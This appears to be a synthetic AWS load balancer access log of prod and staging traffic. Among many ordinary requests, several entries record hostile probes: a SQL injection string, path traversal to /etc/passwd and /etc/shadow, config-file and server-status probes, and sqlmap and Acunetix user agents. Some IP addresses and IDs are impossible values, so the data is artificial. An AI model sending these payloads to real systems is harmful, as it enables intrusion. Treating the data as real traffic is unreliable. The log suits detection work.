0.057024 0.622057 0.110583 200 200 789 2158 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d6e1-6e4a7fbdea814836be519633" "staging-alb.example.com" "-" 5 2024-11-01T02:13:37.155762Z "forward" "-" "-" "99.223.73.210:8080" "200" "-" "-" +https 2024-11-01T02:13:38.547491Z prod-web-alb 87.16.133.40:10030 10.0.125.243:443 0.071840 0.221790 0.001598 302 302 355 5027 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d6e2-baba427102ee46708ca372d8" "prod-web-alb.example.com" "-" 4 2024-11-01T02:13:38.547491Z "forward" "-" "-" "10.0.125.243:443" "302" "-" "-" +http 2024-11-01T02:13:39.585819Z staging-alb 120.231.171.214:14408 175.195.22.222:8080 0.049467 0.378736 0.040425 302 302 654 6026 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d6e3-00c74cba65604af8b4506208" "staging-alb.example.com" "-" 4 2024-11-01T02:13:39.585819Z "forward" "-" "-" "175.195.22.222:8080" "302" "-" "-" +https 2024-11-01T02:13:40.109577Z prod-api-alb 70.105.230.210:51290 10.0.72.44:443 0.074718 0.091831 0.085078 200 200 10 1811 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d6e4-f4ef28f605e84fe89d91bc14" "prod-api-alb.example.com" "-" 6 2024-11-01T02:13:40.109577Z "forward" "-" "-" "10.0.72.44:443" "200" "-" "-" +https 2024-11-01T02:13:41.880928Z prod-api-alb 66.93.123.156:48087 10.0.47.202:443 0.054656 0.382946 0.042821 200 200 650 5587 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d6e5-956945470b684d03b704a873" "prod-api-alb.example.com" "-" 7 2024-11-01T02:13:41.880928Z "forward" "-" "-" "10.0.47.202:443" "200" "-" "-" +http 2024-11-01T02:13:43.241772Z staging-alb 185.181.230.236:33236 164.39.167.161:80 0.111591 0.585473 0.055949 403 403 667 6884 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d6e7-39d045dafdf747fba6f3b91a" "-" "-" 3 2024-11-01T02:13:43.241772Z "forward" "-" "-" "164.39.167.161:80" "403" "-" "-" +https 2024-11-01T02:13:44.617839Z prod-web-alb 110.209.93.116:28597 10.0.78.74:443 0.000616 0.246781 0.021864 404 404 59 914 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6e8-14dbdcf666f045bf80ccd48a" "prod-web-alb.example.com" "-" 6 2024-11-01T02:13:44.617839Z "forward" "-" "-" "10.0.78.74:443" "404" "-" "-" +http 2024-11-01T02:13:45.154643Z staging-alb 94.236.214.166:40692 39.231.179.163:80 0.120391 0.473096 0.121188 404 404 647 5813 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d6e9-b69395e89035483d9c72523a" "staging-alb.example.com" "-" 7 2024-11-01T02:13:45.154643Z "forward" "-" "-" "39.231.179.163:80" "404" "-" "-" +https 2024-11-01T02:13:45.991370Z prod-api-alb 28.24.3.221:55433 10.0.195.8:443 0.037072 0.470502 0.057585 200 200 950 4725 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d6e9-a2ed237a2b134fac8615253d" "prod-api-alb.example.com" "-" 2 2024-11-01T02:13:45.991370Z "forward" "-" "-" "10.0.195.8:443" "200" "-" "-" +https 2024-11-01T02:13:47.135419Z prod-api-alb 52.95.177.155:43933 10.0.196.19:443 0.077169 0.191692 0.061541 200 200 336 5203 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d6eb-7f27a4b44c3b499db8c8a331" "prod-api-alb.example.com" "-" 0 2024-11-01T02:13:47.135419Z "forward" "-" "-" "10.0.196.19:443" "200" "-" "-" +https 2024-11-01T02:13:48.734623Z staging-alb 174.56.80.240:17051 15.140.63.50:80 0.117449 0.660620 0.058182 200 200 191 4039 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d6ec-3a44d20c77ab485a96be8368" "staging-alb.example.com" "-" 7 2024-11-01T02:13:48.734623Z "forward" "-" "-" "15.140.63.50:80" "200" "-" "-" +https 2024-11-01T02:13:49.787178Z prod-web-alb 202.191.151.86:38487 10.0.109.230:443 0.015228 0.494611 0.057916 200 200 645 10357 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6ed-4f27ef2f8d1049468ec5c468" "prod-web-alb.example.com" "-" 1 2024-11-01T02:13:49.787178Z "forward" "-" "-" "10.0.109.230:443" "200" "-" "-" +https 2024-11-01T02:13:50.832108Z prod-web-alb 194.129.95.230:27959 10.0.235.78:443 0.038831 0.467880 0.087640 200 200 317 7037 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6ee-7cf6f30847a74744961dfc8a" "prod-web-alb.example.com" "-" 7 2024-11-01T02:13:50.832108Z "forward" "-" "-" "10.0.235.78:443" "200" "-" "-" +https 2024-11-01T02:13:51.182232Z prod-web-alb 14.108.211.16:36522 10.0.255.215:443 0.090520 0.418409 0.036380 200 200 781 5898 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d6ef-a47ab5aa363a4c23b6298310" "prod-web-alb.example.com" "-" 7 2024-11-01T02:13:51.182232Z "forward" "-" "-" "10.0.255.215:443" "200" "-" "-" +https 2024-11-01T02:13:53.008395Z prod-api-alb 185.181.67.46:16967 10.0.127.144:443 0.020650 0.017655 0.004837 404 404 737 14673 "GET /images/../../../../etc/shadow HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d6f1-e80ddda26d6d4abb8f6614b4" "-" "-" 7 2024-11-01T02:13:53.008395Z "forward" "-" "-" "10.0.127.144:443" "404" "-" "-" +https 2024-11-01T02:13:54.606019Z prod-api-alb 82.124.176.240:55895 10.0.251.54:443 0.096780 0.029388 0.005119 404 404 328 3491 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d6f2-b77a9fdd040c45ae8fa26c75" "prod-api-alb.example.com" "-" 1 2024-11-01T02:13:54.606019Z "forward" "-" "-" "10.0.251.54:443" "404" "-" "-" +https 2024-11-01T02:13:54.986001Z prod-web-alb 10.93.5.63:16785 10.0.222.234:443 0.088027 0.055693 0.026188 200 200 627 1523 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d6f2-ef15e384fe2245e6a4346a05" "prod-web-alb.example.com" "-" 5 2024-11-01T02:13:54.986001Z "forward" "-" "-" "10.0.222.234:443" "200" "-" "-" +https 2024-11-01T02:13:56.554117Z staging-alb 132.250.79.229:14502 170.161.187.172:8080 0.089912 0.310454 0.142758 200 200 495 6544 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d6f4-74ab1b3c293f4c7398b74abc" "staging-alb.example.com" "-" 8 2024-11-01T02:13:56.554117Z "forward" "-" "-" "170.161.187.172:8080" "200" "-" "-" +https 2024-11-01T02:13:57.054820Z prod-api-alb 59.22.143.84:53246 10.0.181.138:443 0.073731 0.379603 0.046904 302 302 677 13909 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d6f5-959d0090d8ca4764be27f5a3" "prod-api-alb.example.com" "-" 10 2024-11-01T02:13:57.054820Z "forward" "-" "-" "10.0.181.138:443" "302" "-" "-" +https 2024-11-01T02:13:58.386319Z prod-web-alb 45.155.205.9:40344 10.0.10.157:443 0.099828 0.320210 0.028713 301 301 883 10081 "POST /wp-config.php.bak HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6f6-41c2befda61040a6910a145c" "-" "-" 8 2024-11-01T02:13:58.386319Z "forward" "-" "-" "10.0.10.157:443" "301" "-" "-" +http 2024-11-01T02:13:59.991759Z staging-alb 244.0.64.130:53996 234.43.62.27:80 0.051829 0.607055 0.008175 404 404 414 3948 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d6f7-9ab26746c1334c20b489e7e0" "staging-alb.example.com" "-" 6 2024-11-01T02:13:59.991759Z "forward" "-" "-" "234.43.62.27:80" "404" "-" "-" +http 2024-11-01T02:14:01.161788Z staging-alb 96.32.193.243:23961 249.70.45.84:8080 0.143303 0.059660 0.029278 301 301 14 1476 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d6f9-c62699fa822544d78e447c43" "staging-alb.example.com" "-" 2 2024-11-01T02:14:01.161788Z "forward" "-" "-" "249.70.45.84:8080" "301" "-" "-" +https 2024-11-01T02:14:01.886331Z prod-web-alb 124.198.174.15:29876 10.0.40.88:443 0.061086 0.416977 0.059345 302 302 381 8919 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d6f9-01cf3bf04b774feb87ce816c" "prod-web-alb.example.com" "-" 8 2024-11-01T02:14:01.886331Z "forward" "-" "-" "10.0.40.88:443" "302" "-" "-" +https 2024-11-01T02:14:02.689114Z prod-api-alb 193.27.228.235:49037 10.0.230.112:443 0.046799 0.267357 0.007532 404 404 789 10476 "GET /../../../etc/passwd HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d6fa-5c247294a4b44e4490494f98" "-" "-" 5 2024-11-01T02:14:02.689114Z "forward" "-" "-" "10.0.230.112:443" "404" "-" "-" +http 2024-11-01T02:14:04.421862Z staging-alb 144.167.202.37:12614 187.148.24.161:443 0.124877 0.299104 0.095123 200 200 716 5074 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d6fc-985035b01b09494eb70de23a" "staging-alb.example.com" "-" 7 2024-11-01T02:14:04.421862Z "forward" "-" "-" "187.148.24.161:443" "200" "-" "-" +https 2024-11-01T02:14:05.103600Z prod-web-alb 210.254.87.207:40681 10.0.144.215:443 0.065092 0.119034 0.002633 302 302 983 8992 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d6fd-9b006c7ac1824707b2f0c356" "prod-web-alb.example.com" "-" 9 2024-11-01T02:14:05.103600Z "forward" "-" "-" "10.0.144.215:443" "302" "-" "-" +https 2024-11-01T02:14:06.961195Z staging-alb 188.26.126.180:54982 191.13.103.245:80 0.149353 0.654104 0.082728 200 200 583 9813 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d6fe-889d385fdf314a0aa2b53e8c" "staging-alb.example.com" "-" 9 2024-11-01T02:14:06.961195Z "forward" "-" "-" "191.13.103.245:80" "200" "-" "-" +https 2024-11-01T02:14:07.342230Z prod-web-alb 80.147.40.239:45481 10.0.106.34:443 0.041044 0.297359 0.065321 404 404 579 4889 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6ff-6e36968349964828a68406bd" "prod-web-alb.example.com" "-" 5 2024-11-01T02:14:07.342230Z "forward" "-" "-" "10.0.106.34:443" "404" "-" "-" +https 2024-11-01T02:14:07.721602Z prod-api-alb 76.211.218.232:43427 10.0.234.189:443 0.084289 0.253674 0.066177 200 200 942 4752 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d6ff-1e8c7e02d8ff4bae9c244706" "prod-api-alb.example.com" "-" 6 2024-11-01T02:14:07.721602Z "forward" "-" "-" "10.0.234.189:443" "200" "-" "-" +https 2024-11-01T02:14:08.084795Z prod-web-alb 246.4.14.43:34673 10.0.159.111:443 0.044890 0.498442 0.031690 200 200 288 2300 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d700-da1c53efc6b44aabb2eed6a3" "prod-web-alb.example.com" "-" 5 2024-11-01T02:14:08.084795Z "forward" "-" "-" "10.0.159.111:443" "200" "-" "-" +https 2024-11-01T02:14:09.634404Z prod-api-alb 196.144.221.97:59336 10.0.73.234:443 0.019991 0.178748 0.016824 404 404 953 14073 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d701-a7dd8adb298f416fad22d82a" "prod-api-alb.example.com" "-" 5 2024-11-01T02:14:09.634404Z "forward" "-" "-" "10.0.73.234:443" "404" "-" "-" +https 2024-11-01T02:14:10.745849Z prod-api-alb 77.19.221.75:12421 10.0.113.16:443 0.036648 0.043687 0.072995 302 302 429 1604 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d702-e69a1a922bfd430e91845aab" "prod-api-alb.example.com" "-" 9 2024-11-01T02:14:10.745849Z "forward" "-" "-" "10.0.113.16:443" "302" "-" "-" +https 2024-11-01T02:14:12.730988Z prod-api-alb 112.183.176.190:32181 10.0.191.240:443 0.004939 0.494668 0.090633 200 200 682 777 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d704-87210eb46a3f4956b8831b16" "prod-api-alb.example.com" "-" 5 2024-11-01T02:14:12.730988Z "forward" "-" "-" "10.0.191.240:443" "200" "-" "-" +https 2024-11-01T02:14:13.552264Z staging-alb 19.158.205.177:21400 82.92.54.29:443 0.105008 0.717403 0.095168 200 200 163 2061 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d705-998ad1b11d894f98a71e646f" "staging-alb.example.com" "-" 2 2024-11-01T02:14:13.552264Z "forward" "-" "-" "82.92.54.29:443" "200" "-" "-" +https 2024-11-01T02:14:13.842873Z prod-api-alb 50.221.180.35:25648 10.0.219.127:443 0.088540 0.294705 0.035643 200 200 502 1159 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d705-86b4584ece044d4b91c9328d" "prod-api-alb.example.com" "-" 7 2024-11-01T02:14:13.842873Z "forward" "-" "-" "10.0.219.127:443" "200" "-" "-" +https 2024-11-01T02:14:14.831786Z prod-api-alb 219.8.126.163:32813 10.0.214.81:443 0.038125 0.488496 0.020018 200 200 140 3725 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d706-a6e9a8367853498daffd9567" "prod-api-alb.example.com" "-" 7 2024-11-01T02:14:14.831786Z "forward" "-" "-" "10.0.214.81:443" "200" "-" "-" +http 2024-11-01T02:14:16.240500Z staging-alb 86.168.143.203:14713 190.1.220.193:80 0.106205 0.086703 0.126006 200 200 26 2603 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d708-8eb61dd6ffe14072a1be70d4" "staging-alb.example.com" "-" 4 2024-11-01T02:14:16.240500Z "forward" "-" "-" "190.1.220.193:80" "200" "-" "-" +https 2024-11-01T02:14:17.326442Z staging-alb 251.12.132.235:55375 54.83.0.162:80 0.027988 0.214273 0.031288 200 200 903 6148 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d709-ac4de9d83bad436aa152cbad" "staging-alb.example.com" "-" 4 2024-11-01T02:14:17.326442Z "forward" "-" "-" "54.83.0.162:80" "200" "-" "-" +http 2024-11-01T02:14:17.715618Z staging-alb 99.205.241.107:42448 10.126.55.171:80 0.109874 0.180828 0.042476 302 302 563 9324 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d709-f2b803199b974cfca7976b06" "staging-alb.example.com" "-" 9 2024-11-01T02:14:17.715618Z "forward" "-" "-" "10.126.55.171:80" "302" "-" "-" +https 2024-11-01T02:14:19.695742Z staging-alb 45.155.205.14:21213 49.7.34.51:443 0.032241 0.564577 0.141663 404 404 651 1995 "GET /../../../etc/passwd HTTP/1.1" "Acunetix-Agent" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d70b-ab684e35e70348b7ac985500" "-" "-" 10 2024-11-01T02:14:19.695742Z "forward" "-" "-" "49.7.34.51:443" "404" "-" "-" +https 2024-11-01T02:14:20.173293Z staging-alb 122.129.17.165:15929 130.107.20.73:80 0.118584 0.685346 0.034089 200 200 451 12861 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d70c-d9eea64a221e4b09b95a11f4" "staging-alb.example.com" "-" 10 2024-11-01T02:14:20.173293Z "forward" "-" "-" "130.107.20.73:80" "200" "-" "-" +https 2024-11-01T02:14:20.660726Z staging-alb 185.181.119.128:28313 240.103.132.33:80 0.086429 0.253395 0.143089 500 500 239 9017 "POST /server-status HTTP/1.1" "python-requests/2.31.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d70c-ac37cb3cfaac43e8a83ad6a4" "-" "-" 4 2024-11-01T02:14:20.660726Z "forward" "-" "-" "240.103.132.33:80" "500" "-" "-" +https 2024-11-01T02:14:21.807379Z staging-alb 4.233.186.217:17344 161.64.163.225:8080 0.136435 0.310056 0.012789 200 200 723 3031 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d70d-3688ec08979b418da437df3e" "staging-alb.example.com" "-" 0 2024-11-01T02:14:21.807379Z "forward" "-" "-" "161.64.163.225:8080" "200" "-" "-" +https 2024-11-01T02:14:22.180684Z prod-web-alb 85.162.147.225:43940 10.0.30.135:443 0.023238 0.181660 0.055259 200 200 660 1174 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d70e-1625621b47d542b7a6252254" "prod-web-alb.example.com" "-" 4 2024-11-01T02:14:22.180684Z "forward" "-" "-" "10.0.30.135:443" "200" "-" "-" +https 2024-11-01T02:14:23.434993Z prod-web-alb 212.140.141.129:35549 10.0.158.32:443 0.046463 0.051281 0.014910 200 200 265 7838 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d70f-cf354128d25c461eac52df52" "prod-web-alb.example.com" "-" 1 2024-11-01T02:14:23.434993Z "forward" "-" "-" "10.0.158.32:443" "200" "-" "-" +https 2024-11-01T02:14:24.765831Z prod-web-alb 236.33.141.229:32689 10.0.9.163:443 0.062230 0.282014 0.091142 200 200 179 11924 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d710-97b26ca408eb4d879c62bf9c" "prod-web-alb.example.com" "-" 3 2024-11-01T02:14:24.765831Z "forward" "-" "-" "10.0.9.163:443" "200" "-" "-" +https 2024-11-01T02:14:26.358846Z staging-alb 189.188.68.52:25971 58.121.201.96:80 0.149687 0.156041 0.063569 200 200 850 2378 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d712-2f6c8150bd62476da07c2d63" "-" "-" 4 2024-11-01T02:14:26.358846Z "forward" "-" "-" "58.121.201.96:80" "200" "-" "-" +https 2024-11-01T02:14:26.461180Z prod-web-alb 82.29.94.143:57921 10.0.4.67:443 0.044534 0.377463 0.023031 404 404 756 3958 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d712-96eb4c15d3d241f9bd0c5755" "prod-web-alb.example.com" "-" 2 2024-11-01T02:14:26.461180Z "forward" "-" "-" "10.0.4.67:443" "404" "-" "-" +https 2024-11-01T02:14:28.199303Z prod-api-alb 226.72.198.148:39368 10.0.101.161:443 0.015291 0.026178 0.098676 200 200 577 469 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d714-a0aa6ec9c0c04894bf764378" "prod-api-alb.example.com" "-" 8 